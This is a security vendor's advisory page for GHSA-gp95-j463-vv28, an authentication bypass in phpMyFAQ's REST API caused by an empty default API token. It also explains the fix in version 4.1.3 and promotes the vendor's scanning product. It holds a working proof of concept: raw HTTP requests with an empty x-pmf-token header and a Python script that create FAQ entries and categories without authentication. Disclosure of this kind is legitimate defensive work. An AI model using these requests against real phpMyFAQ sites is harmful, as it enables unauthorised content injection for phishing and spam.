GHSA-gp95-j463-vv28
HIGHGHSA-gp95-j463-vv28 is a high-severity (CVSS 7.5) CWE-1188 vulnerability in thorsten/phpmyfaq. O3 Security confirms whether GHSA-gp95-j463-vv28 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
phpMyFAQ: Default Empty API Token Authentication Bypass
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-gp95-j463-vv28.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-gp95-j463-vv28 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 360,482 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
thorsten/phpmyfaq🐘phpmyfaq/phpmyfaqReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds api.apiClientToken with an empty string, and the hasValidToken() comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header."
Details
The root cause is in two files:
1. Installation default (src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php, line 277-278):
'api.enableAccess' => 'true',
'api.apiClientToken' => '', // ← defaults to empty string
2. Authentication check (src/phpMyFAQ/Controller/AbstractController.php, line 198-204):
protected function hasValidToken(): void
{
$request = Request::createFromGlobals();
if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {
throw new UnauthorizedHttpException('"x-pmf-token" is not valid.');
}
}
The method uses strict inequality (!==). When api.apiClientToken is '' (default) and the attacker sends x-pmf-token: (empty header value), the comparison becomes '' !== '' which evaluates to false — no exception is thrown, and authentication is completely bypassed.
The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged 'Endpoints with Authentication' and document HTTP 401 responses, while read-only endpoints are tagged 'Public Endpoints'.
The following API endpoints call $this->hasValidToken() as their only authentication check:
| File | Endpoint | Method |
|---|---|---|
src/.../Controller/Api/FaqController.php:701-703 | /api/v4.0/faq/create | POST |
src/.../Controller/Api/FaqController.php:857-859 | /api/v4.0/faq/update | PUT |
src/.../Controller/Api/CategoryController.php:278-280 | /api/v4.0/category | POST |
src/.../Controller/Api/QuestionController.php:89-91 | /api/v4.0/question | POST |
PoC
Environment: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.
Step 1 — Verify that requests without auth header are correctly rejected:
POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
{
"language": "en",
"category-id": 1,
"question": "Test Question",
"answer": "Test Answer",
"keywords": "test",
"author": "test",
"email": "[email protected]",
"is-active": true,
"is-sticky": false
}
Response (HTTP 401 — correctly blocked):
{"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"}
Step 2 — Send the same request with an empty x-pmf-token header:
POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token:
{
"language": "en",
"category-id": 1,
"question": "[POC] Authentication Bypass Confirmed",
"answer": "This FAQ was created without any valid authentication token.",
"keywords": "poc,bypass",
"author": "Security Researcher",
"email": "[email protected]",
"is-active": true,
"is-sticky": false
}
Response (HTTP 201 — bypass confirmed):
{"stored": true}
Step 3 — Category creation via the same bypass:
POST /api/v4.0/category HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token:
{
"language": "en",
"parent-id": 0,
"category-name": "POC_Category",
"description": "Category created via empty token bypass",
"user-id": 1,
"group-id": -1,
"is-active": true,
"show-on-homepage": true
}
Response (HTTP 201):
{"stored": true}
Step 4 — Verify injected content is publicly visible:
GET /api/v4.0/faqs/1 HTTP/1.1
Host: <target>
Response (HTTP 200 — injected FAQ publicly exposed):
[{"record_id":1,"record_lang":"en","category_id":1,"record_title":"[POC] Authentication Bypass Confirmed","record_preview":"This FAQ was created without any valid authentication token. ..."}]
PoC with Python (urllib — no external dependencies):
import urllib.request, json
TARGET = "http://<target>"
HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""}
# Create FAQ via empty token bypass
data = json.dumps({
"language": "en", "category-id": 1,
"question": "[POC] Auth Bypass", "answer": "Created via bypass.",
"keywords": "poc", "author": "R", "email": "[email protected]",
"is-active": True, "is-sticky": False
}).encode()
req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST")
resp = urllib.request.urlopen(req)
print(f"Status: {resp.status}") # 201 — bypass successful
Overlap Summary:
| Test | x-pmf-token | HTTP Status | Result |
|---|---|---|---|
| No auth header | (not sent) | 401 Unauthorized | 🔒 Correctly blocked |
| Empty token header | "" | 201 Created | 🔓 Bypass confirmed |
| Category creation | "" | 201 Created | 🔓 Bypass confirmed |
| Public verification | (not needed) | 200 OK | 📄 Injected content visible |
Impact
This is an authentication bypass (CWE-1188) affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the default state after installation.
- Who is impacted? Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state.
- What can an attacker do? Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base.
- What is NOT affected? Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | thorsten/phpmyfaq | all versions | 4.1.3 |
| 🐘Packagist | phpmyfaq/phpmyfaq | all versions | 4.1.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for thorsten/phpmyfaq. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update thorsten/phpmyfaq to 4.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gp95-j463-vv28 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gp95-j463-vv28 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gp95-j463-vv28. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gp95-j463-vv28 in your dependencies?
O3 detects GHSA-gp95-j463-vv28 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.